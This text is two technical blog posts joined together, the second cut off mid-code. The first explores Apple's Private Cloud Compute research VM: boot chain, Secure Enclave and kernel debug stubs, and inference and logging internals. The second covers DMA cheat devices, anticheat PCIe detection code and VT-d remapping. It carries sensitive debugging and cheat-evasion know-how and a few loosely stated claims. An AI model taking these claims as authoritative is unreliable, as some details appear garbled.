iBoot is Apple's proprietary bootloader. This particular readout appears to be from a specialized research or development unit, as indicated by the identifier "vresearch101" in its name. The presence of "Supervisor" in the header suggests this might be running in a privileged or administrative mode.

The boot process shown here is occurring locally on Board 0x90, which is referenced both in the board identification line and in the USB serial number details. The system appears to be running a release build of iBoot version 11881.40.153, suggesting this is a stable, production-ready version. Each boot instance is assigned a unique UUID (81FBADC5-D014-3532-93C1-6D6B119F012C), which helps in tracking and identifying specific boot sessions.

The most detailed information comes from the USB serial number line, which contains several critical identifiers about the hardware. The Chip ID (CPID:FE01) identifies the specific model of Apple silicon being used, while the Exclusive Chip ID (ECID:947A770F7EAB271B) provides a unique identifier for this particular chip - similar to a serial number but at the silicon level. The system's security configuration is indicated by various markers including the Secure Domain (SDOM:01), Security Epoch (SCEP:01), and iBoot flags (IBFL:3D).

iBoot then extends the boot chain by performing its own set of verifications. It validates multiple system firmware components against the APTicket, including three critical components: the Secure Page Table Monitor (SPTM), the Trusted Execution Monitor (TXM), and the Kernel Cache. After successful verification, iBoot hands off execution to the SPTM.

The Secure Page Table Monitor (SPTM) begins its initialization sequence with a critical bootstrap phase that establishes the fundamental security architecture of the system. During bootstrap_stage_announce, SPTM performs several crucial setup operations for the Protected Address Page Table (PAPT) ranges.

The initialization starts with sptm_bootstrap_early, which validates critical parameters where it establishes the initial memory map and prepares for the creation of secure page tables. The system then proceeds with bootstrap_alloc_frames, which allocates the initial set of CTRR-protected frames necessary for maintaining the security of the page table hierarchy.

During this early phase, SPTM configures the IOMMU through the processor subsystem initialization. This involves setting up secure DMA remapping tables, configuring Stream IDs (SIDs), and establishing the initial IOMMU translation tables. The system carefully validates each configuration step to ensure the integrity of IO memory operations.

Following SPTM's initial setup, the system proceeds to initialize the Trusted Execution Monitor (TXM). The TXM initialization process begins with the establishment of the secure execution environment and trust verification mechanisms. The system first loads and verifies the Image4 format firmware components, establishing the root of trust through the certificate chain verification process before then initializing its trust cache system, setting up the verification pathways for different trust domains (PDI, DDI, cryptex). The process includes validation of manifest-properties and boot-manifest-hash to ensure the integrity of the boot chain.

The CoreEntitlements framework is initialized during this phase, establishing the infrastructure for runtime entitlement verification. This includes setting up the acceleration contexts and dictionary structures that will be used for efficient entitlement validation during system operation.

As the boot process continues, SPTM establishes the complete memory management infrastructure. The system initializes the page table hierarchy with strict reference counting (rc16) for tracking page table usage. SPTM sets up the PAPT ranges through bootstrap_register_papt_range, establishing protected memory regions that will be crucial for system security.

Before transferring control to the kernel, the system configures the dispatch mechanism that will control transitions between security domains, setting up the state machine transitions and validation requirements. SPTM then establishes the exception handling pathways through sptm_dispatch, ensuring that all security domain crossings will be properly validated and controlled throughout system operation.

The transfer of control to the kernel represents a critical transition in the boot process. SPTM ensures this transition occurs securely by validating the kernel's code signature through TXM's verification pipeline. It then establishes the initial set of page table mappings that the kernel will operate within, and sets up the security monitor hooks that will continue to enforce memory protection policies during runtime operation.

As the system completes initialization and transitions to user space, the security infrastructure established by SPTM and TXM continues to operate. The entitlement validation system enforces access controls and security policies for running applications. The IOMMU continues to enforce DMA security policies for device interactions.

TXM's trust cache system actively validates code signatures for all executable code loaded into the system, while SPTM performing fundamental security operations like page table management and memory protection. The system is designed such that a TXM compromise doesn’t automatically translate to an SPTM bypass due to this privilege separation.

Parallel to this main boot sequence, the SEP (Secure Enclave Processor) undergoes its own independent boot chain that begins simultaneously with the Application Processor (AP) boot sequence with the SEPROM (Secure Enclave Boot ROM) beginning execution from its immutable code laid down during SoC fabrication, forming the hardware root of trust for the SEP.

The initial boot sequence involves SEPROM setting up the MMU to enable virtual memory address translation. During this initialization phase, SEPROM performs critical setup tasks including storing CPU tick counts, configuring stack pointers, setting up exception vectors, and initializing different CPU modes. Communication between SEP and AP occurs through a dedicated mailbox interface, which is the only communication channel between the two processors. This interface operates through mapped IO registers accessible to both processors, with messages limited to 8 bytes following a structured protocol with specific opcodes.

iBoot is responsible for initiating communication with SEPROM through this mailbox interface. iBoot sends the SEP firmware to SEPROM and sets up the TZ0 registers that define protected memory regions. These TZ0 registers are crucial for memory isolation, using both base and end registers that, once locked, prevent AP access to SEP memory regions.

The memory protection mechanism employs three layers: isolation through AMCC (Apple Memory Cache Controller) preventing AP access to TZ0 memory, encryption using AES-256-XEX(XTS) mode with two 32-byte keys, and integrity checking through checksums of encrypted memory.

SEPROM independently verifies the signature of the sepOS firmware against measurements stored in the APTicket (Image4 boot manifest). Upon successful verification, SEPROM locks these measurements into the SEAL_DATA register, similar to how Boot ROM locks AP measurements in SEAL_DATA_A. This locking mechanism is immutable and cannot be altered after manufacturing, ensuring the integrity of the boot chain.

The actual loading of sepOS occurs after successful verification, with SEPROM copying the verified firmware into protected memory regions established by the TZ0 configuration. The memory layout includes dedicated RAM regions for stack and data, along with carefully mapped IO registers and shared memory regions. After loading sepOS, SEPROM sets up bootargs and transfers control to the SEP firmware.

Once sepOS begins execution, it initializes the SEP application environment, setting up crucial security services including the Platform Key Accelerator (PKA) and various cryptographic operations. The SEP maintains its own nonce for DFU/Recovery operations, further isolating its security state from the AP. Throughout this entire process, the memory regions remain protected by the TZ0 configuration established earlier, preventing any unauthorized access from the AP side.

The PCC, as with other Apple hardware, relies heavily on the Secure Enclave Processor (SEP) for boot and code integrity checking. While the PCC in itself its near, Apple’s new open-gate principle for sepOS caught many by surprise.

In iOS 18 Developer Beta 4, Apple announced that the iBoot and sepOS firmware for the PCC is being released in plaintext. This also coincided with the disabling of firmware encryption for iBoot on iOS, macOS, watchOS, tvOS, and visionOS to increase performance overhead.

While not being mentioned in the release, looking in the source code revealed that Apple opened a GDB stub for the SEP.

case .vresearch101:
    let sep_config = _VZSEPCoprocessorConfiguration(storageURL: bundle.sepStoragePath)
    if let avpsepbooter { // default AVPSEPBooter.vresearch1.bin from VZ framework
        sep_config.romBinaryURL = avpsepbooter
    }
    sep_config.debugStub = _VZGDBDebugStubConfiguration()
    config._coprocessors = [sep_config]

    pconf._isProductionModeEnabled = (platformFusing == .prod)

Listing all open ports, we can see that there isn’t just one open port relating to Apple, but three. The top one is the kernel GDB stub i’ve mentioned beforehand, and i can’t seem to find anything related to 53705.

➜  ~ lsof -PiTCP -sTCP:LISTEN
pccvre    21915 zefiepie   14u  IPv4 0x5c32866ea688829f      0t0  TCP 192.168.64.1:53704 (LISTEN)
com.apple 21923 zefiepie    7u  IPv4 0x98c787175eb69f32      0t0  TCP localhost:53705 (LISTEN)
com.apple 21923 zefiepie    9u  IPv4 0x65a79314b9e6fe98      0t0  TCP localhost:53706 (LISTEN)
com.apple 21925 zefiepie    3u  IPv4 0x65a79314b9e6fe98      0t0  TCP localhost:53706 (LISTEN)

53706 is the GDB stub for the Secure Enclave, we can figure it out by disassembling some of the code in the higher address spaces where we can find that a string that indicates the sepOS boot code that then jumps to the kernel address. This will likely be an interesting avenue to do SEP/iBoot research moving forward.

The final stage of initialization occurs in user space, where the darwin-init task takes control. This task configures the node based on information it receives from the BMC, including determining which cryptexes to load. After loading all required cryptexes, darwin-init initiates the transition into Restricted Execution Mode (REM). This transition is a one-way process that must meet specific conditions: all "before" code must be unloaded from memory, and the Cryptex Manifest Register must be locked. Only after entering REM does the node become available to serve external requests.

Throughout this process, the system employs Software Sealed Registers (SSRs) to maintain a verifiable record of the boot state. Two specific SSRs are crucial: the Cryptex Manifest Register, which contains digests of Image4 manifests from activated cryptexes, and the Configuration Seal Register, which holds digests of critical darwin-init configuration data. These registers operate on a ratcheting mechanism - once updated, their values cannot be rolled back, and their state is included in all attestations generated by the SEP.

After the process completes, this is where the fun starts. We are offered different ways to interact with the PCC :

• A HTTP service was started, no idea what this is used for but it returns an IOError (other) pread(descriptor:pointer:size:offset:): Is a directory (errno: 21)

• A GDB stub for kernel debugging

• A debug shell cryptex that contains a shell (through SSH)

iOS, Now More Lobotomized!

As said before, CloudOS is just a cut down version of iOS, more very stripped down than it already is. Using the debug cryptex we can gain a shell to CloudOS by using SSH to see further for ourselves.

After enabling SSH in the PCC VRE instance, you can simply login to it like usual.

Welcome to cloudOS, something that you quickly discover is how barebones the VM is. There is no help or clear command, nor any sort of package management system like apt or brew. Built-in interpreters, debuggers, and any sort of Just-In-Time compiler functionality were also removed to prevent dynamic code execution.

After diving into /var/ we finally arrive at the meat of the PCC, which contains alot of files crucial for PCC operations.

There are alot of interesting things here, such as DarwinDataCenterSupportImage which contains support packages for system, in addition to being the place to load and store custom cryptexes. There are also several remenant folders from iOS such as mail and backups, which are empty and are unused (as far as i know.

MLModels also caught my eye, which contains ML models used for the PCC, there is a small model called FM_LANGUAGE_SECURITY_RESEARCH_V1 used for testing purposes.

Additionally, as previously mentioned the PCC VRE provides a GDB stub you can use to connect lldb to. The stub supposedly allows for reading/writing within kernel memory, but without the symbols necessary this is still not that useful.

The fact that there is no way i can figure out (atleast currently) to take data out of the vanilla PCC VRE kinda makes me believe that Apple is making good on its promise to not use user data and interactions with Apple Intelligence for inference purposes.

Stateless Inferencing

PCC VRE won’t be the only example of using confidential computing for securing inference workloads, as Google has already published a proof-of-concept implementation using gRPC over HTTPS to connect a Confidential VM containing Gemma 2B.

Rather than requiring a complex setup with a client device, the PCC VRE offers a wrapper to talk to the LLM inside of the PCC.

The wrapper connects to an endpoint provided by the cloudboardd service in the Virtual Runtime Environment (VRE). This is the same endpoint that the PCC Gateway utilizes for connecting to PCC nodes in production environments. The pccvre tool leverages the CloudBoard and TIE application protocols to handle request submission and response display.

The command prints the result of the SEP attestation, then tokens as they are streamed, and finally the fully formed response.

The idea is that once your request gets inferenced within the PCC, sent back to you, and the data is immediately destroyed. User data is designed to never be available to Apple, even to staff with administrative access to the production service or hardware.

The core of the inference operations lies in The Inference Engine (TIE), which handles the logic of executing inference requests that users submit to PCC. Requests are received on the PCC node by CloudBoard, which is responsible for implementing the cryptographic protocol with a user’s device, and are then handed off to TIE for processing. The tie-model-owner process employs the ModelCatalogSE framework to load model weights, adapters, and associated parameters from disk into memory.

ModelCatalogSE maintains an index of model data and metadata, including tokenizers, stop tokens, and prompt templates, which are derived from model and adapter cryptexes on the PCC node. The inference components operate under the orchestration of a single tie-controllerd daemon, which functions as TIE's primary control system, managing inference process recycling, and initiates periodic CIO mesh key rotations. Furthermore, tie-controllerd interfaces with CloudBoard's Runtime configurable properties to retrieve prompt deny lists, which enumerate blocked inputs that could potentially compromise system stability.

When requests arrive at a PCC node, TIE processes them through an ephemeral, per-request tie-cloud-app instance. The system utilizes process pooling to mitigate process spawning runtime overhead, that comprise of pre-instantiated cb_jobhelper and tie-cloud-app pairs maintained in readiness to service requests. Upon CloudBoard's selection of a tie-cloud-app instance for request handling, the application deserializes the incoming Protobuf-encoded request, validates request parameter safety, and tokenizes the string-based prompt using the model cryptex-specified tokenizer.

message InvokeWorkloadRequest {
    oneof type {
        Setup setup = 1;
        Terminate terminate = 2;
        Chunk request_chunk = 3;
        Parameters parameters = 4;
    }
}

message InvokeWorkloadResponse {
    oneof type {
        SetupAck setup_ack = 1;
        Chunk response_chunk = 2;
    }
}

TIE executes tokenization within a per-request process to isolate untrusted string input parsing. The implementation of per-request process instances ensures that potential process compromises would not expose other users' request data. The system discards all intermediate request data upon request completion and process termination. After initial request processing, the tie-cloud-app transmits the request to a shared tie-inference process that executes the inference using MetalLM. The request data encompasses the tokenized input, model and adapter identifiers for inference, sampling parameters, and when applicable, the constrained decoding grammar.

To minimize the risk of unexpected user data retention beyond single request lifetimes in the inference host process, the tie-controller periodically terminates and restarts tie-inference which ensures that data processed within previous inference host instances remains inaccessible to potential attacks that might compromise future instances.

Within MLModels/LLM/FM_LANGUAGE_SECURITY_RESEARCH_V1/LLM.Model/4.0.0 sits a 1.8 GB model.mlm file, which is a small machine learning model created in Apple Create ML. Admittedly i was abit disappointed because i thought Apple will lend a peek into the bigger LLM models they supposedly have in the cloud.

The model within the PCC VRE is likely based on Apple’s open source OpenELM-450M simply by seeing the model size, with the model being converted to support Apple’s CreateML Framework. But the PCC is supposed to house bigger models, which are called Apple Foundation Models (AFM) which are dense decoder-only models that build on the Transformer architecture with the following design choices:

• A shared input/output embedding matrix to reduce parameter count, and therefore memory usage.

• Pre-Normalization with RMSNorm for training stability.

• Query/key normalization to improve training stability.

• Grouped-query attention (GQA) with 8 key-value heads to reduce the KV-cache memory footprint.

• SwiGLU activation for higher efficiency.

• RoPE positional embeddings with the base frequency set to 500k for long-context support.

Consistent with Apple’s whole branding on privacy-preservation, the data used for Apple Intelligence is also supposedly open sourced. The AFM pre-training dataset consists of a diverse and high quality data mixture:

1. Web pages: Crawled using Applebot, respecting publishers’ rights to opt out. The data is filtered to exclude profanity, unsafe material, personally identifiable information (PII), and processed through a pipeline that performs quality filtering, plain-text extraction, and decontamination against 811 common pre-training benchmarks.

2. Licensed datasets: High-quality data licensed from publishers, providing diverse and long-context data for continued and context-lengthening stages of pre-training. The data is decontaminated in the same way as web pages.

3. Code: Obtained from license-filtered open-source repositories on GitHub, covering 14 common programming languages. The data is de-duplicated, filtered for PII and quality, and decontaminated in the same fashion as web pages.

4. Public datasets: High-quality publicly-available datasets with licenses permitting use for training language models. The datasets are filtered to remove PII before being included in the pre-training mixture.

5. Math: Two categories of high-quality data sourced from the web:

   • Math Q&A dataset: 3 billion tokens from 20 web domains rich in math content, extracted by identifying relevant tags from HTML pages.

   • Collection of 14 billion tokens from web pages such as math forums, blogs, tutorials, and seminars. The data is filtered using a specialized pipeline that includes math tag filters, symbol filters, quality filters powered by language models, and domain filters processed by humans.

While there are concerns that the models inside of the PCC can still using user data for training, Apple has said that it does not use private user data or interactions with Apple Intelligence when training its foundational models. If Apple complies to this, then it does mean that they have achieved the capability to do stateless inferencing without resorting to exotic methods mentioned earlier.

Minimal Logging and Telemetry

Every single server-side application will need somesort of logging and telemetry system to ensure the availability and security of the applications being run. But how do you do it inside of a system that is supposed to be a black-box to outsiders and does not collect any data whatsover?

At the core of this is CloudMetrics, which implements the swift-metrics API backend. This system enables software within the PrivateCloudSupport cryptex to log various metric types including counters, gauges, and histograms. The metric collection process follows a structured flow where observations are first provided to the CloudMetrics framework, then transmitted via XPC to the cloudmetricsd daemon where temporal aggregation occurs locally. These aggregated metrics are subsequently exported to Apple's metrics service using the OpenTelemetry Protocol, an industry-standard for observability data transmission.

The system implements strict controls over metric collection through a restrictive allow-list mechanism within CloudMetrics. This framework exercises granular control over metric export frequency and implements filtering based on metric names, allowed dimensions, and valid value ranges. Importantly, these configurations reside within the PrivateCloudSupport cryptex, ensuring they fall under PCC's verifiable transparency guarantees.

For logging capabilities, PCC utilizes the privacy-conscious os_log API, with log export handled by the splunkloggingd daemon. This daemon implements sophisticated filtering rules that operate on a per-log-line basis, scrutinizing both the message sender (identified by the Mach-O image) and the format string. The system maintains a carefully curated allow list of permitted messages, which undergoes rigorous privacy review considering not only the format strings but also the data types of included variables.

The crash reporting system in PCC builds upon existing privacy-preserving infrastructure from macOS and iOS, but implements additional safeguards. It categorizes crash data into intrinsically safe attributes (such as OS version and process IDs) and process state dependent data (like stack traces and register state). The system applies two levels of redaction - partial and full - with strict rate limiting of partially redacted logs to a maximum of three per node per hour, randomly selected from 20% of crashes.

We finally meet again with an old friend, the EndpointSecurity API, which is responsible for monitoring security events in MacOS. PCC nodes capture only a few events, mainly

• ES_EVENT_TYPE_NOTIFY_EXEC (for process execution)

• ES_EVENT_TYPE_NOTIFY_EXIT (for process exit)

• ES_EVENT_TYPE_NOTIFY_IOKIT_OPEN (activation of certain hardware features)

• ES_EVENT_TYPE_NOTIFY_OPENSSH_LOGIN (SSH logins)

• ES_EVENT_TYPE_NOTIFY_OPENSSH_LOGOUT (SSH logouts)

• NetworkStatistics (Network inbound/outbound connections)

The security event collection system prioritizes metadata capture over process introspection, implementing a privacy-first approach to security monitoring. Event export occurs through the splunkloggingd daemon, utilizing the same robust filtering mechanism that governs log message export. The configuration controlling permitted security events resides within the PrivateCloudSupport cryptex, ensuring transparency and verifiability of the monitoring scope.

All collected security events undergo aggregated analysis by Apple's security teams to identify potential compromise indicators. This analysis occurs within a framework that maintains PCC's core privacy guarantees while enabling effective security monitoring. The system achieves this balance by focusing on event patterns and metadata analysis rather than direct examination of process internals or user data.

The entire observability and security monitoring infrastructure operates within PCC's network security framework, controlled by the denaliSE firewall agent. This agent ensures that all monitoring and metric data transmission occurs only to authorized data center services, operating under mutual TLS authentication with certificates managed by the Secure Enclave Processor. This network-level control provides an additional layer of protection against unauthorized data exfiltration while enabling essential operational monitoring.

Conclusions

From the brief examination of the OS and tooling surrounding the PCC, we can somewhat confidently that Apple is atleast lining itself for a really big lawsuit if it doesn’t play along with its privacy guarantees for Apple Intelligence and other offloaded AI/ML workloads. There is probably much more to discover, which will probably be covered by people that are way more technically proficient than myself.

I think the privacy guarantees around Apple Intelligence and the unprecendented access to the tools that support its secure operations is a big step towards providing a more privacy-preserving AI platform, which has certainly come a long way from Apple’s first inclusion of privacy-preserving technologies like the Secure Enclave. Apple has been working hard in implementing other, more bulletproof, solutions such as Homomorphic Encryption (HE) for ML workloads and a focus towards more on-device inference for sensitive items such as for sensitive content detection.

This doesn’t mean Apple Intelligence is fully secure, as it still relies on API calls to notorious AI firms like OpenAI which has been known to be very data hungry. Fortunately, Apple always asks before your requests are sent to non-Apple entities and these features can be turned off unlike other shoehorned AI systems recently. Apple also has a history in compromising the security of its server infrastructure to comply to national regulations in countries like Mainland China.

The thing is that if your mind is already made up on this technology, and you know who you are, its more likely that you’ve already made up your mind and all of these attempts are unconvincing for you. For you, Apple has also given the option to completely disable Apple Intelligence. Apple also give guidelines on how to set robots.txt parameters to stop your data from being scraped by Applebot (Apple’s web scraper) and how to request to opt-out of training entirely.

The thing i want to underscore is that i do believe the oversimplification and subsequent demonization of AI technologies is dangerous, because its the same technology that’s responsible from everything from helping me remember my vacation with my family from three years ago to the early detection of breast cancer. We should encourage the research and development towards how to integrate these technologies in a better and safer way, not ban them outright.

Cover Illustration by buruberrii_

In a previous blog post, i talk briefly about the many methods on how anticheat systems like Vanguard protect against different type of cheating attempts. One of the methods discussed was the detection of malicious PCIe devices. This method has been in the news lately as of writing due to the game “Delta Force” which has caught flak over its overly aggresive detection of DMA and USB devices, a product of Tencent’s AntiCheat Expert (ACE). But what is DMA and why are live service games so against it?

The detection of malicious PCIe devices are crucial due to the advent of Hardware-based DMA Direct Memory Access (DMA) cheats. One of the earliest example of DMA devices could be the Game Genie, that physically interfaces with the game cartridge and the console, enabling it to alter data at the memory level. Nowadays, PCIe-based DMA devices can be bought online, like this LynxDMA + KMBox set for $160 with free express shipping.

As many anticheat used to monitor only for malicious processes inside the kernel, DMA devices allow the cheating to happen outside of the main PC hardware. PCIe cards like the LynxDMA enables direct interaction with a computer's memory by interfacing directly with the system's memory bus, facilitating efficient data movement between memory and peripherals.

Many users also add a Keyboard and Mouse emulator (KMBox) that act as programmable USB development boards that functions as a keyboard and mouse controller. It allows users to run scripts directly on the device's CPU, enabling ordinary keyboards and mice to have programmable macro functions without the need for additional drivers or DLL injections, which ensures that scripts operate independently of the host PC.

Current Detection Methods

Refreshing from our previous escapades, every PCI device has a set of registers commonly referred to as the PCI configuration space. In modern PCI-e devices, an extended configuration space is implemented, which is mapped into the main memory, allowing the system to read/write to the registers. The configuration space consists of a standard header containing information such as the DeviceID, VendorID, Status, and other details.

This configuration space allows querying important information from PCI devices within the device tree using the IRP_MN_READ_CONFIG code, which reads from a PCI device's configuration space.

NTSTATUS
ValidatePciDevices()
{
    NTSTATUS status = STATUS_UNSUCCESSFUL;

    status = EnumeratePciDeviceObjects(PciDeviceQueryCallback, NULL);

    if (!NT_SUCCESS(status))
        DEBUG_ERROR("EnumeratePciDeviceObjects failed with status %x", status);

    return status;
}

Windows splits DEVICE_OBJECTS into two categories: Physical Device Object (PDO) and Functional Device Object (FDO). A PDO represents each device connected to a physical bus and has an associated DEVICE_NODE. In contrast, an FDO represents the device’s functionality and defines how the system interacts with that device in the driver stack. A device stack can have multiple PDOs but only one FDO. To access each PCI device on the system, the anti-cheat system can enumerate all device objects given the PCI FDO, which is managed by pci.sys.

We first retrieve the driver object associated with the PCI driver (pci.sys). It then enumerates all device objects managed by this driver, storing them in an array. For each device object, it checks if the object is a valid Physical Device Object (PDO) by calling the IsDeviceObjectValidPdo function. If it is a valid PDO, the callback routine (PciDeviceQueryCallback) is invoked.

NTSTATUS
EnumeratePciDeviceObjects(_In_ PCI_DEVICE_CALLBACK CallbackRoutine,
                          _In_opt_ PVOID           Context)
{
    NTSTATUS        status             = STATUS_UNSUCCESSFUL;
    UNICODE_STRING  pci                = RTL_CONSTANT_STRING(L"\\Driver\\pci");
    PDRIVER_OBJECT  pci_driver_object  = NULL;
    PDEVICE_OBJECT* pci_device_objects = NULL;
    PDEVICE_OBJECT  current_device     = NULL;
    UINT32          pci_device_objects_count = 0;

    status = GetDriverObjectByDriverName(&pci, &pci_driver_object);

    if (!NT_SUCCESS(status)) {
        DEBUG_ERROR("GetDriverObjectByDriverName failed with status %x",
                    status);
        return status;
    }

    status = EnumerateDriverObjectDeviceObjects(
        pci_driver_object, &pci_device_objects, &pci_device_objects_count);

    if (!NT_SUCCESS(status)) {
        DEBUG_ERROR("EnumerateDriverObjectDeviceObjects failed with status %x",
                    status);
        return status;
    }

    for (UINT32 index = 0; index < pci_device_objects_count; index++) {
        current_device = pci_device_objects[index];

        /* make sure we have a valid PDO */
        if (!IsDeviceObjectValidPdo(current_device)) {
            ObDereferenceObject(current_device);
            continue;
        }

        status = CallbackRoutine(current_device, Context);

        if (!NT_SUCCESS(status))
            DEBUG_ERROR(
                "EnumeratePciDeviceObjects CallbackRoutine failed with status %x",
                status);

        ObDereferenceObject(current_device);
    }

    if (pci_device_objects)
        ExFreePoolWithTag(pci_device_objects, POOL_TAG_HW);

    return status;
}

Then we read the device's configuration space, starting from the PCI_VENDOR_ID_OFFSET, and stores this data in a PCI_COMMON_HEADER structure. The configuration space consists of a standard header containing information such as the DeviceID, VendorID, Status, and other details. The function reads this space using an IRP with the IRP_MN_READ_CONFIG code.

STATIC
NTSTATUS
PciDeviceQueryCallback(_In_ PDEVICE_OBJECT DeviceObject, _In_opt_ PVOID Context)
{
    UNREFERENCED_PARAMETER(Context);

    NTSTATUS          status = STATUS_UNSUCCESSFUL;
    PCI_COMMON_HEADER header = {0};

    status = QueryPciDeviceConfigurationSpace(
        DeviceObject, PCI_VENDOR_ID_OFFSET, &header, sizeof(PCI_COMMON_HEADER));

    if (!NT_SUCCESS(status)) {
        DEBUG_ERROR("QueryPciDeviceConfigurationSpace failed with status %x",
                    status);
        return status;
    }

    if (IsPciConfigurationSpaceFlagged(&header)) {
        DEBUG_VERBOSE("Flagged DeviceID found. Device: %llx, DeviceId: %lx",
                      (UINT64)DeviceObject,
                      header.DeviceID);
        ReportBlacklistedPcieDevice(DeviceObject, &header);
    }
    else {
        DEBUG_VERBOSE("Device: %llx, DeviceID: %lx, VendorID: %lx",
                      DeviceObject,
                      header.DeviceID,
                      header.VendorID);
    }

    return status;
}

Then we can send an IRP (I/O Request Packet) to read the configuration space of the PCI device. We then wait for the IRP to complete and then returns the status of the operation.

STATIC
NTSTATUS
QueryPciDeviceConfigurationSpace(_In_ PDEVICE_OBJECT DeviceObject,
                                 _In_ UINT32         Offset,
                                 _Out_opt_ PVOID     Buffer,
                                 _In_ UINT32         BufferLength)
{
    NTSTATUS           status = STATUS_UNSUCCESSFUL;
    KEVENT             event  = {0};
    IO_STATUS_BLOCK    io     = {0};
    PIRP               irp    = NULL;
    PIO_STACK_LOCATION packet = NULL;

    if (BufferLength == 0)
        return STATUS_BUFFER_TOO_SMALL;

    KeInitializeEvent(&event, NotificationEvent, FALSE);

    /*
     * IO manager will free this IRP when the request is completed
     */
    irp = IoBuildSynchronousFsdRequest(
        IRP_MJ_PNP, DeviceObject, NULL, 0, NULL, &event, &io);

    if (!irp) {
        DEBUG_ERROR("IoBuildSynchronousFsdRequest failed with no status.");
        return STATUS_INSUFFICIENT_RESOURCES;
    }

    packet                = IoGetNextIrpStackLocation(irp);
    packet->MinorFunction = IRP_MN_READ_CONFIG;
    packet->Parameters.ReadWriteConfig.WhichSpace = PCI_WHICHSPACE_CONFIG;
    packet->Parameters.ReadWriteConfig.Offset     = Offset;
    packet->Parameters.ReadWriteConfig.Buffer     = Buffer;
    packet->Parameters.ReadWriteConfig.Length     = BufferLength;

    status = IoCallDriver(DeviceObject, irp);

    if (status == STATUS_PENDING) {
        KeWaitForSingleObject(&event, Executive, KernelMode, FALSE, NULL);
        status = io.Status;
    }

    if (!NT_SUCCESS(status))
        DEBUG_ERROR("Failed to read configuration space with status %x",
                    status);

    return status;
}

Once the configuration space is read, we can check if the device ID is among the flagged IDs. If the device ID matches any of the flagged IDs, we can report the blacklisted device.

BOOLEAN
IsPciConfigurationSpaceFlagged(_In_ PPCI_COMMON_HEADER Configuration)
{
    for (UINT32 index = 0; index < FLAGGED_DEVICE_ID_COUNT; index++) {
        if (Configuration->DeviceID == FLAGGED_DEVICE_IDS[index])
            return TRUE;
    }

    return FALSE;
}

Now if you think hard, you might realize that there are alot of periperals that use PCIe, such as network cards, thunderbolt devices, and many more. You will also be correct in guessing that blacklisting certain PCIe configuration space signatures have led to some many side effects including disconnecting PCIe-based network cards, PCIe-based DACs, and even thunderbolt docks. This is predictable because PCIe DMA cheating devices sometimes share PCIe controllers with legitimate hardware. This is primarily why i hate anticheat systems, they presume guilt at all times and treat everyone as a threat actor.

VT-d Support for DMA Remapping

Previously, we talked about the basics of Intel’s VT-x extensions and how to use them to make a very basic virtual machine. While VT-x is the hardware feature to enable CPU virtualization, VT-d handles I/O virtualization, allowing direct assignment of physical devices (like GPUs or network cards) to virtual machines while maintaining isolation between them.

One of the main features of VT-d is its support for DMA remapping. At its core, DMA remapping introduces an I/O Memory Management Unit (IOMMU) that intercepts all DMA requests before they reach system memory, enforcing strict access controls and performing necessary address translations through dedicated I/O page tables.

In traditional virtualization without DMA remapping, direct device assignment to virtual machines poses significant security risks. When a device initiates DMA operations, it uses physical addresses, and without remapping capabilities, these devices could potentially access any physical memory location in the system. This unrestricted access creates a critical vulnerability where a compromised device or malicious driver in one VM could read or write to memory regions belonging to other VMs or the hypervisor itself, completely bypassing the CPU's memory protection mechanisms.

DMA remapping solves this fundamental security challenge by introducing a hardware-enforced isolation layer. The IOMMU maintains separate I/O page tables for each device or group of devices, similar to how the CPU's MMU uses page tables for process isolation. When a device initiates a DMA operation, the IOMMU performs address translation using these I/O page tables, converting the addresses used by the device (guest physical addresses in virtualization contexts) into actual system physical addresses. This translation process ensures that devices can only access memory regions explicitly mapped in their assigned I/O page tables.

Modern virtualization platforms leverage DMA remapping to implement sophisticated I/O virtualization features. For instance, in SR-IOV (Single Root I/O Virtualization) configurations, a single physical device can present multiple Virtual Functions (VFs), each assigned to different VMs. DMA remapping ensures that each VF can only access memory regions allocated to its respective VM, preventing cross-VM memory access violations. The hypervisor programs the IOMMU with separate I/O page tables for each VF, establishing strict memory boundaries that are enforced in hardware.

While there are non-VT-d methods like Windows Kernel DMA Protection that operate within the confines of the operating system's security model, these software-based solutions typically rely on driver frameworks and kernel-mode components to validate and control DMA operations. While they can provide adequate protection under normal circumstances, they inherently trust the operating system's integrity and depend on proper driver behavior. The protection mechanisms must be implemented within each driver and validated by the operating system, introducing multiple potential points of failure.

The performance characteristics of hardware-based DMA protection significantly differ from software solutions. VT-d includes dedicated Translation Lookaside Buffers (TLBs) for caching frequently used address translations, minimizing the performance impact of protection checks. The hardware implementation allows DMA operations to proceed at near-native speed once translations are cached. Software-based solutions, conversely, must intercept and validate DMA operations through driver code execution, potentially introducing variable latency and CPU overhead.

Implementation

The main idea for this implementation comes from this blog from tandasat, and this PoC from cutecatsandvirtualmachines. We begin with the initialization of DMA remapping structures, which are discovered through ACPI tables - specifically the DMAR (DMA Remapping) table for Intel systems. The ProcessDmarTable function is responsible for parsing the DMAR ACPI table.

EFI_STATUS ProcessDmarTable(
    IN EFI_ACPI_DMAR_HEADER* DmarTable,
    IN OUT DMAR_UNIT_INFORMATION* DmarUnits,
    IN UINT64 MaxDmarUnitCount,
    OUT UINT64* DetectedUnitCount)

The function begins with a crucial security check using MmIsAddressValid to verify that the DMAR table pointer resides in valid memory space. This is essential because ACPI tables could potentially be tampered with, and accessing invalid memory could lead to system crashes or security vulnerabilities.

{
    if (!MmIsAddressValid(DmarTable)) {
        DbgMsg("[VT-d] DMAR table ptr is invalid: %p", DmarTable);
        return STATUS_NOT_MAPPED_DATA;
    }

The DMAR table traversal is implemented through pointer arithmetic and structure casting. Here, Add2Ptr calculates the end address of the DMAR table using the table's length field. The DmarTable + 1 operation skips past the main header to the first remapping structure. This arithmetic is safe because the DMAR table's length was validated by the ACPI subsystem during boot.

endOfDmar = (UINT64)Add2Ptr(DmarTable, DmarTable->Header.Length);
dmarHeader = (EFI_ACPI_DMAR_STRUCTURE_HEADER*)(DmarTable + 1);

The main processing loop identifies DMA Remapping Hardware Unit Definition (DRHD) structures by checking the type field. Each DRHD structure describes a remapping hardware unit capable of DMA transaction remapping. The type EFI_ACPI_DMAR_TYPE_DRHD specifically indicates a hardware definition structure, as opposed to other DMAR structure types like Reserved Memory Regions (RMRR) or Root Port ATS Capability (ATSR).

if (dmarHeader->Type == EFI_ACPI_DMAR_TYPE_DRHD)

For each discovered unit, the function reads two critical capability registers. The Capability Register (CAP_REG) contains fundamental features like supported address widths, caching requirements, and first-level translation support. The Extended Capability Register (ECAP_REG) describes advanced features like interrupt remapping, queued invalidation support, and page-walk coherency capabilities. These are read using memory-mapped I/O operations, as the registers reside in the chipset's PCI configuration space.

DmarUnits[discoveredUnitCount].Capability.Uint64 =
